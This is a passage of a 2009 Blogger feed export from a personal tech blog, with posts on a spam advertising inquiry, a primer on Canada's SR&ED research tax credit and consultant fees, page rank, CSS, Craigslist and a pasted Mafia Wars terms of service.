/&gt;      Last updated:  19-Aug-2008&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;----&lt;br /&gt;&lt;br /&gt;UPDATE:&lt;br /&gt;&lt;br /&gt;I got a spontanous reply to my mocking reply:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;Thank you for writing me back. I have just been informed that upon review by my supervisor, your site was not quite right for our client after all. I am still interested in doing business with you on behalf of our other clients though. Perhaps you have some more sites that might be suitable?&lt;br /&gt;&lt;br /&gt;I'd be really grateful if you could send me a list of sites to review and then maybe we can work something out.&lt;br /&gt;&lt;br /&gt;I'm really sorry for whatever inconvenience this might have caused you and I sincerely appreciate your taking the time to write me back. Hopefully we will be able to do business soon.&lt;br /&gt;&lt;br /&gt;Best regards,&lt;br /&gt;Fe Turner&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-5610795264680265328?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/5610795264680265328/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=5610795264680265328' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5610795264680265328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/5610795264680265328'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/sg-1-wants-to-adverise-on.html' title='SG-1 Wants to Advertise on ThoseDeWolfes.com !'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3343694818599418286</id><published>2009-11-18T07:05:00.001-08:00</published><updated>2011-10-26T20:52:09.760-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SRED'/><category scheme='http://www.blogger.com/atom/ns#' term='money'/><category scheme='http://www.blogger.com/atom/ns#' term='tax credits'/><title type='text'>SR &amp; ED Primer</title><content type='html'>&lt;p&gt;The SR&amp;amp;ED program is a federal tax incentive program, administered by the Canada Revenue Agency (CRA), that encourages Canadian businesses of all sizes, and in all sectors to conduct research and development (R&amp;amp;D) in Canada. It is the largest single source of federal government support for industrial R&amp;amp;D. The SR&amp;amp;ED program gives claimants cash refunds and/or tax credits for their expenditures on eligible R&amp;amp;D work done in Canada. If your company innovates, the company may be eligible for cash or tax credits. &lt;/p&gt;  &lt;p&gt;Canadian-controlled private corporations (CCPC) can earn an investment tax credit (ITC) of 35% up to the first $2 million of qualified expenditures for SR&amp;amp;ED carried out in Canada, and 20% on any excess amount. Other Canadian corporations, proprietorships, partnerships, and trusts can earn an ITC of 20% of qualified expenditures for SR&amp;amp;ED carried out in Canada. Generally, a CCPC with a taxable income in the immediately preceding year that does not exceed the business limit may receive a portion of the ITC earned as a refund, after applying these tax credits against taxes payable. The ITC earned by a Canadian corporation that is not a CCPC is non-refundable, but may be used to reduce any taxes payable. The ITC earned by a proprietorship or certain trusts may be partially refunded after applying these tax credits against taxes payable. While corporations have a more straightforward connection to the ITC, proprietorships can apply for these tax credits as well.&lt;/p&gt;&lt;p&gt;The good news: you can ask "Am I eligible?" online: &lt;a title="http://www.cra-arc.gc.ca/txcrdt/sred-rsde/ssssmnt/menu-eng.html" href="http://www.cra-arc.gc.ca/txcrdt/sred-rsde/ssssmnt/menu-eng.html" id="yx-x"&gt;http://www.cra-arc.gc.ca/txcrdt/sred-rsde/ssssmnt/menu-eng.html&lt;/a&gt;&lt;/p&gt;&lt;b&gt;What constitutes Research and Development?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Work that qualifies for SR&amp;amp;ED tax credits includes:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;&lt;b&gt;experimental development&lt;/b&gt; to achieve technological advancement to create new materials, devices, products, or processes, or improve existing ones;&lt;/li&gt;&lt;li&gt;&lt;b&gt;applied research&lt;/b&gt; to advance scientific knowledge with a specific practical application in view;&lt;/li&gt;&lt;li&gt;&lt;b&gt;basic research&lt;/b&gt; to advance scientific knowledge without a specific practical application in view; and&lt;/li&gt;&lt;li&gt;&lt;b&gt;support work&lt;/b&gt; in engineering, design, operations research, mathematical analysis, computer programming, data collection, testing, or psychological research, but only if the work is commensurate with, and directly supports, the eligible experimental development, or applied or basic research.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;The following activities are &lt;b&gt;not&lt;/b&gt; eligible for benefits under the program:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;social science and humanities research;&lt;/li&gt;&lt;li&gt;commercial production of a new or improved material, device, or product, or the commercial use of a new or improved process;&lt;/li&gt;&lt;li&gt;style changes;&lt;/li&gt;&lt;li&gt;market research or sales promotion;&lt;/li&gt;&lt;li&gt;quality control or routine testing of materials, devices, products, or processes;&lt;/li&gt;&lt;li&gt;routine data collection;&lt;/li&gt;&lt;li&gt;prospecting, exploring, or drilling for or producing minerals, petroleum, or natural gas; and&lt;/li&gt;&lt;li&gt;development based solely on design or routine engineering practice.&lt;/li&gt;&lt;li&gt;common clerical work - One company designed a way to track their staff time. Work on projects was tabulated for the eventual application for an SR&amp;amp;ED tax credit. They designed their time tracker so that when in doubt: time went to R&amp;amp;D. When the receptionist spent an hour photocopying and stapling handouts and she didn't know where to allocate her time. That "miscellaneous" time was slotted into SR&amp;amp;ED time &lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;The technical work has to have three components: technological advancements, technological obstacles; and work performed in the tax year.&lt;br /&gt;&lt;b&gt;Technological advancements&lt;/b&gt; - You have to define the work carried out-- the goal of the advancement and the foundation of the work. The advancement doesn't have to be work in the field at large: it solely has be innovative inside of your company. Yes, lots of companies have e-commerce systems. The struggle to build your e-commerce system is applicable work.&lt;br /&gt;&lt;b&gt;Technological obstacles&lt;/b&gt; - There has to be some element of risk and obstacle. If you sit someone down to carry out routine work that is a repeat, that's going through known territory and its not a risk. If you going into uncharted territories, there will be obstacles: competing priorities and perimeter of the development work.&lt;br /&gt;&lt;b&gt;Work performed in the tax year&lt;/b&gt; - This is straight forward: work carried out within the fiscal year is applicable. A project can start before the year; or end in later financial years-- but only the work initiative in one year can be included.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Applicable Costs&lt;/b&gt;&lt;br /&gt;A quick rule of thumb: your SR&amp;amp;ED tax credit for a given year will be less half of than your payroll plus your contractor fees. Usually, it's much less because of how much time staff will spend in routine tasks. It's  certainly less than half of the amount spent on your technical, research and engineering staff and contractors. One company was up to fishy stuff when their SR&amp;amp;ED claim for a given year was as much their payroll. True, you can add in the expense of prototypes, but that is unlikely to warp your claim.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Work Performed Outside of Canada&lt;/b&gt;&lt;br /&gt;You have to remember a few things when you have non-Canadian work involved with your project:&lt;br /&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Only the expenses incurred for salaries or wages paid to the taxpayer's employees who carried on SR&amp;amp;ED work outside Canada can be claimed.&lt;/li&gt;&lt;li&gt;Only 10% of the total salary or wages paid in respect of SR&amp;amp;ED carried on in Canada by the taxpayer can be claimed for work outside Canada.&lt;/li&gt;&lt;li&gt;The SR&amp;amp;ED must be directly undertaken by the taxpayer and must be related to the business of the taxpayer.&lt;/li&gt;&lt;li&gt;The employees must have been resident in Canada at the time the expense was incurred and the SR&amp;amp;ED carried on by the employees outside Canada must have been solely in support of SR&amp;amp;ED carried on in Canada.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Dodgy Expenses&lt;/b&gt;&lt;br /&gt;Specified employees aka partners have to be handled with care. As owners of the company, they may work long hours as a matter of course. This makes two dilemmas: how much of their work can be claimed. And if a partner works 80 hours per week, then 1.0 FTE (usually 35-40 hrs./week) is half of their time and half of their wage.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Disallowed Expenses&lt;/b&gt;&lt;br /&gt;Number one, documentation is key. Work for which you have no relevant supporting evidence will likely be disallowed. SR&amp;amp;ED is a Canadian program. Contractor fees paid to companies outside of Canada are no eligible. They allow some of the expenses associated with the production of a prototype on the provision that the prototype is destroyed, or at least not put into the marketplace.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Very Important Milestones&lt;/b&gt;&lt;br /&gt;You need to submit your claim with 18 months of the end of an financial year end. Claims will linger at CRA for up to 120 business days (aka 6 months) before you can expect word. It's not impossible for CRA to misplace files. If a claim goes in, gets misplaced, and then word of that surfaces after the 18 month cut-off, your tax credit will be denied. It has happened. There are two ways to limit the risk. First, submit earlier than six months before the 18 month limitation: this allows for accidents to happen but your claim will still be active. Second, documentation. When your claim is submitted, get a receipt and keep it safe.  It could be a million dollar slip of paper. If you don't get it and accidents happen, your claim can be disallowed. If CRA loses your claim but you have the all important receipt, you can urge them to continue to process the claim-- if it's lost, they can be obliged to accept your copy of the claim for evaluation in lieu of their original. A lost claim is likely to get messy, but at least your company may still collect. These limitations cut both ways: if you submit an inherently unready claim, it will stop the clock. CRA will let you know what you are missing. While you are working on rounding out the list of elements to complete a submission, the 120-day window for processing is suspended. If you have submitted an incomplete claim, it doesn't get caught in the 18 month rule. Only a complete claim submitted before the 18 month cut-off can be assessed.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Be Your Own Contact&lt;/span&gt;&lt;br /&gt;When a claim goes in, it specifies who can contact CRA for updates. Your consultant should also be a point of contact. If a claim is audited, CRA will decide who they contact, when and for what. But, only the contacts connected to a claim are allowed to inquire about the status of a claim. Make certain that someone from your company is listed as a contact. Given the active and dynamic field of the SR&amp;amp;ED industry, you cannot guarantee your consultant and their role 120 days later when a claim is supposed to process out. Some consultants may try to control the flow of information and omit a contact from your company for your claim. If a consultant does omit your contact information, then you can file an update with CRA to be added to your own claim.  In some situations, you can also check the timeline of milestones from the source (CRA) and how they may contrast from what your consultant could be reporting. In one instance, there was three week discrepancy between an event as reported by the consultant; vs. the same event as logged by CRA.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Fee For Service Vs. Contingency&lt;/b&gt;&lt;br /&gt;Fee-for-service is an arrangement where the consultation time and accounting fees for preparing the claim are paid up front. Commission is a situation where the consultant assumes the risk for the claim preparation fees. If the claim goes through, they get a percentage. If the claim does not, they eat the expense of the claim preparation and the associated accounting fees. A word of caution about commission or contingency based arrangements: some consultants will charge 25%, then they may try to charge interest on top. If they let the claim preparation linger, the interest can rack up. Consultants may claim that their fee is 25%, but with interest and tax, they can take in excess of 30% of the whole claim.&lt;br /&gt;&lt;br /&gt;The driving force is different between these two approaches means a very real outcome. A fee-for-service consultant gets paid when the claim is submitted. The sooner they do it, the sooner they get paid. However, the more time they put into the claim, the more it eats into your net gain. With a contingency based consultant, the later they start, the later they have to pay out an accountant and related expenses. Also, the less time they dote on a client, the thicker is their net gain. You will get the same amount, but they will work to spend less time and allow them to pursue more projects. If they cut corners on your claim, then the impact could be huge: for every dollar they lose on a claim, your company will lose almost three.&lt;br /&gt;&lt;br /&gt;If your financial records are in good order and your project management is strong, then Fee For Service is a decent consideration. The larger your claim, the more sense there is to go with a fee-for-service. In one example, the claim was for $140,000. One consultancy estimated the preparation costs, based on fee-for-service, to be $21,000. Another consultancy was going to charge at least $35,000 based on contingency. The preparation costs could only climb a little for a higher dollar claim; but with a contingency based claim, the fees will climb in step with the value of your claim.&lt;br /&gt;&lt;br /&gt;Why would anyone choose a contingency model? Two reasons: risk and expense. There is real risk when you submit a claim to CRA for processing. One man's technological innovation is another man's routine business. CRA could gut your claim if they find weaknesses. If a claim for $100,000 is gutted to $20,000, then a contingency based model would cost $5000+. If the same claim is gutted down to $20,000 in a fee-for-service, then you spend $20,000+ to net less than the preparation fees. With contingency, you share the risk. In truth, there isn't much risk. Both fee-for-service and contingency based consultants should be able to estimate your likely tax credit plus or minus 20%. If you're submitting a risky claim, you should get a reality check from your consultant and bring the dollar amounts and claimed expenses to Earth. The other reason to use a contingency model: expense. It's not uncommon that companies are drilling for an SR&amp;amp;ED credit because they low on cash. In some cases, the company may have folded its tents and this is the way for the principal to glean cash from its remains. Compare staring down an expense of $21,000 up front when you may not yield a sizable amount of cash vs. paying $35,000+ when the cash arrives. For companies there is no decision: they need to cash but don't have it up front. For those companies, the answer is contingency.&lt;br /&gt;&lt;br /&gt;If you get a consultant to handle your return, there are some important things to consider:&lt;br /&gt;&lt;br /&gt;They can navigate through the process better than a novice. But don't let them oversell themselves. You shouldn't put in a dodgy or aggressive claim. They should be able to give you advice on what is safe to claim. What a consultant can help you do is identify the expenses that are associated with your eligible work. The make-up of the CRA staff has changed over the years from people who come from a background of scientific research to those who may be eager to find ways to disallow claims. There are advisories and tax bulletins that are meant to inform the public and inform the CRA staff. Just because the information is out there, don't take for granted that your consultant or the CRA staff are working from the most recent facts. If your consultant is good, they may have to walk the CRA staff through their own regulations.&lt;br /&gt;&lt;br /&gt;Some consulting firms and accounting firms boil your relationship down to its cold hard math. If CRA reviews your claim and revises it down to a fraction of its original value, some firms will roll over and accept the smaller claim without any resistance. In a fee-for-service situation, they have nothing to lose if you make a dollar or a million. With some firms that take contingency work, they won't go to bat for their client fearing throwing good money after bad. With some firms, they only go after big fish. If your claim is worth $200,000 they may sideline your business in favour of the $1 million claims.&lt;br /&gt;&lt;br /&gt;Want to know more? &lt;a title="http://www.cra-arc.gc.ca/E/pub/tg/t4088/t4088-08e.pdf" href="http://www.cra-arc.gc.ca/E/pub/tg/t4088/t4088-08e.pdf" id="gkuc"&gt;http://www.cra-arc.gc.ca/E/pub/tg/t4088/t4088-08e.pdf&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://www.thosedewolfes.com/sred"&gt;More on SR&amp;ED&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3343694818599418286?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3343694818599418286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3343694818599418286' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3343694818599418286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3343694818599418286'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/sr-ed-primer.html' title='SR &amp; ED Primer'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6849412081468217835</id><published>2009-11-16T12:12:00.002-08:00</published><updated>2009-11-16T12:16:33.608-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Page rank'/><title type='text'>Be Found or Get Lost: Intuit.com's page rank</title><content type='html'>I saw a TV ad for Intuit.com -- "make a web site and get found!"&lt;br /&gt;Good luck with that.&lt;br /&gt;I just checked the page rank of two sites:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.intuit.com"&gt;www.intuit.com&lt;/a&gt;&lt;br /&gt;- TV campaigns on cable TV: 1+&lt;br /&gt;- Page Rank: 0&lt;br /&gt;&lt;br /&gt;&lt;a href="http://mike.dewolfe.bc.ca"&gt;mike.dewolfe.bc.ca&lt;/a&gt;&lt;br /&gt;- TV campaigns on cable TV: 0&lt;br /&gt;- Page Rank: 4&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6849412081468217835?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6849412081468217835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6849412081468217835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6849412081468217835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6849412081468217835'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/be-found-or-get-lost-intuitcoms-page.html' title='Be Found or Get Lost: Intuit.com&apos;s page rank'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-2995498615023741009</id><published>2009-11-15T22:10:00.003-08:00</published><updated>2009-11-15T22:29:52.138-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tools'/><category scheme='http://www.blogger.com/atom/ns#' term='chinglish'/><category scheme='http://www.blogger.com/atom/ns#' term='thesaurus'/><category scheme='http://www.blogger.com/atom/ns#' term='content'/><title type='text'>Thesaurus Mojo</title><content type='html'>I have worked up a tool to take decent content and mess it up:  &lt;a href="http://mike.dewolfe.bc.ca/articlecooker"&gt;http://mike.dewolfe.bc.ca/articlecooker&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-2995498615023741009?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/2995498615023741009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=2995498615023741009' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2995498615023741009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/2995498615023741009'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/thesaurus-mojo.html' title='Thesaurus Mojo'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4049360470317208424</id><published>2009-11-12T06:51:00.004-08:00</published><updated>2009-11-12T06:53:24.960-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='some experience required'/><category scheme='http://www.blogger.com/atom/ns#' term='offshoring'/><title type='text'>Craigslist Fail</title><content type='html'>Whoever posted this ad: &lt;a href="http://victoria.en.craigslist.ca/web/1459717253.html"&gt;http://victoria.en.craigslist.ca/web/1459717253.html&lt;/a&gt; wants someone from Victoria, BC to build 10 PHP pages/scripts for $300-400. You can't have your offshoring cake and eat it too, unless, of course, you use &lt;a href="http://www.someexperiencerequired.com"&gt;www.someexperiencerequired.com&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4049360470317208424?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4049360470317208424/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4049360470317208424' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4049360470317208424'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4049360470317208424'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/craigslist-fail.html' title='Craigslist Fail'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-748626117719849345</id><published>2009-11-11T23:29:00.001-08:00</published><updated>2009-11-11T23:30:40.884-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='westcan'/><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Fun with CSS</title><content type='html'>I think I'm tired of Image maps. Look what I did with CSS positioning of link/text elements: &lt;a href="http://www.stormcasewest.com/shipping_canada.html"&gt;http://www.stormcasewest.com/shipping_canada.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-748626117719849345?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/748626117719849345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=748626117719849345' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/748626117719849345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/748626117719849345'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/11/fun-with-css.html' title='Fun with CSS'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1031740494258821772</id><published>2009-11-11T21:44:00.002-08:00</published><updated>2009-11-11T21:48:38.819-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Zynga'/><category scheme='http://www.blogger.com/atom/ns#' term='scams'/><category scheme='http://www.blogger.com/atom/ns#' term='FaceBook'/><title type='text'>Is Zynga About to Pop Like a Zit?</title><content type='html'>&lt;object align="left" height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/S7YaVVpK1G4&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;embed src="http://www.youtube.com/v/S7YaVVpK1G4&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="344" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;On the heels of articles about the cut throat name of Mark Pingus of Zynga, creators of Mafia Wars et al, I decided to play some Mafia Wars. I hit "Do Job" to do a job, and I got the following instead. What's funny: the effective date is October 27th. Today is November 11th. I've seen this retconning before.&lt;br /&gt;&lt;br /&gt;&lt;div class="title"&gt;Mafia Wars Terms of Service&lt;/div&gt; &lt;p&gt;Effective Date: October 27th, 2008&lt;/p&gt;  &lt;p&gt; USE OF THE SITE IS VOID WHERE PROHIBITED. BY USING THE SERVICE OR THE SITE, YOU REPRESENT AND WARRANT THAT YOU ARE 13 OR OLDER, AND THAT YOU AGREE TO AND TO ABIDE BY ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU ARE NOT 13, BY USING THE SITE YOU REPRESENT THAT YOUR LEGAL GUARDIAN HAS REVIEWED AND AGREES TO THE FOLLOWING TERMS OF SERVICE. PARENTS AND LEGAL GUARDIANS: IF YOU HAVE NOT JOINED IN YOUR MINOR CHILD'S AGREEMENT TO THESE TERMS OF SERVICE, PLEASE CONTACT US AT: &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;.  PARENTS ARE ADVISED TO EXERCISE SUPERVISION OVER THEIR CHILDREN'S ON-LINE ACTIVITIES.&lt;/p&gt;  &lt;p&gt; This agreement ("Agreement" or "Terms of Service") between you and Zynga Game Network Inc. ("Zynga") sets forth the terms and conditions which apply to the use by you of Mafia Wars on social networks or via www.zynga.com (however accessed and/or used, whether via personal computers, mobile devices or otherwise) and other interactive features or downloads (e.g., widgets) that are accessible on or downloadable through, or related to, Mafia Wars and owned or operated by Zynga (collectively, the "Site") or and any other product or service offered by Zynga for use, subscription or sale (collectively, "Service"). Subject to the terms and conditions below, and your acceptance of them, Zynga agrees to grant, and you agree to take, a non-exclusive, non-transferable, single computer license to use and display the Service and related software (excluding source and object code) for your personal (or household) non-commercial use by any machine(s) of which you are the primary user ("Limited License"). Without limiting the foregoing, you agree not to use the contents of Service for any other use or purpose. You further agree that you will not, and will not attempt to, copy or distribute the content of the Service to any other person unless specifically permitted by Zynga or otherwise violate the single computer, non-commercial display and use Limited License granted hereunder. Zynga reserves the right to modify the license granted in this section and the restrictions described in these Terms of Service in writing on the Site, including, without limitation, by charging fees therefore and/or making certain features available through the Site that may invite you to use the Site Materials (defined below) in a manner not described in these Terms of Service. Zynga may add, change, discontinue, remove, or suspend any of the Site Materials at any time, without notice and without liability. The Site is intended for an audience that is at a minimum thirteen (13) years of age.&lt;/p&gt; &lt;p&gt; If you do not understand and accept these Terms of Service, do not use the Service. Your use and/or continued use of the Service shall be deemed to constitute your acceptance of these Terms of Service and all of Zynga's rules and restrictions related to the Service, as they may change from time to time. &lt;/p&gt;In some instances, both these Terms of Service and a separate Terms of Service or guidelines document setting forth additional conditions may apply to a service or product offered via the Site ("Additional Terms"). To the extent there is a conflict between these Terms of Service and any Additional Terms, the Additional Terms will control unless the Additional Terms expressly state otherwise.  &lt;p&gt; &lt;strong&gt;Basic Summary:&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;PLEASE CAREFULLY READ THESE TERMS OF SERVICE BEFORE USING THIS SITE, AS USE OF THE SITE IS CONDITIONAL UPON ACCEPTANCE OF THESE TERMS OF SERVICE, WHICH AFFECT YOUR LEGAL RIGHTS AND OBLIGATIONS, INCLUDING MANDATORY CONSENT TO ARBITRATION OF DISPUTES. DO NOT USE THIS SITE IF YOU DO NOT AGREE. &lt;/p&gt; 1. It is important that you read all of these Terms of Use. However, here are some of the big picture issues: &lt;ul&gt;&lt;li&gt; Check back each visit as policies and rules may change. &lt;/li&gt;&lt;li&gt;THESE TERMS OF SERVICE REQUIRE YOU TO AGREE TO ARBITRATE DISPUTES RATHER THAN GOING TO COURT, GRANT US CERTAIN RIGHTS AND LICENSES, PROVIDE US CERTAIN INDEMNITIES, WAIVE CERTAIN OF YOUR RIGHTS AND REMEDIES, AND LIMIT OUR LIABILITY AND OBLIGATIONS TO YOU. &lt;/li&gt;&lt;li&gt; You must be at least thirteen (13) years of age to use the Site. &lt;/li&gt;&lt;li&gt;Content you submit is owned by you and you are responsible for all third party rights and payments. You grant us and other users the right to use and exploit your submissions. &lt;/li&gt;&lt;li&gt; Your use of material off-Site is limited by these Terms of Service. &lt;/li&gt;&lt;li&gt;If you believe any materials on the Site infringe your rights, you may give us notice by following the instructions given at Infringements below. &lt;/li&gt;&lt;li&gt; You may not use the Site, or content created thereon, for commercial purposes. &lt;/li&gt;&lt;li&gt; Your use of the Site is "AS IS", without warranty, and will result in no liability to us. &lt;/li&gt;&lt;/ul&gt; 2. The following is a summary of key game play requirements and restrictions: &lt;ul&gt;&lt;li&gt;The activities and games on the Site or on other Service are just for you to play with while on the Site. You can't sell them, give them to anyone, trade them for anything or pretend you made them. If you wish to do anything EXCEPT play with them, you must get our written permission first. &lt;/li&gt;&lt;li&gt;All Zynga user profiles, character names, and content in or on the comment feeds and message boards are created by our users and not by Zynga. If you post nasty, insulting, sexually explicit, racially disparaging, religiously disparaging or other inappropriate content we have the right (but not the obligation) to delete it from the Site without notice and to freeze or close your account (there will be no refunds of previously purchased reward points (defined below). This rule also applies to inappropriate Mafia Wars character names. Do not create names that are nasty, insulting, sexually explicit, racist, disrespectful of religions, intended to promote illegal acts or otherwise inappropriate. We can see your messages, so keep it clean and friendly! Mafia Wars should be a clean and fun place for everyone. Do not abuse the forums by "spamming" (posting the same message many times) - this can result in warnings or a frozen account! Finally, if you ask for another user's password or personally identifiable information, for any reason, your account can be frozen or terminated. If you see anything inappropriate on the Site, or if anyone sends you a message that makes you uncomfortable or asks for your password, please visit us immediately at: &lt;a href="http://www.zynga.com/support" target="_BLANK" onclick="(new Image()).src = '/ajax/ct.php?app_id=10979261223&amp;amp;action_type=3&amp;amp;post_form_id=d9c92faf7aa61b505fbdae4700ba23ba&amp;amp;position=3&amp;amp;' + Math.random();return true;"&gt;http://www.zynga.com/support&lt;/a&gt;. &lt;/li&gt;&lt;li&gt; By creating a Mafia Wars character, by sending bulletins, posting on message boards, or sending us comments or User Content (defined below), you are agreeing that Zynga can use your Mafia Wars character and/or User Content elsewhere on our Service, in our advertising, or in any media or 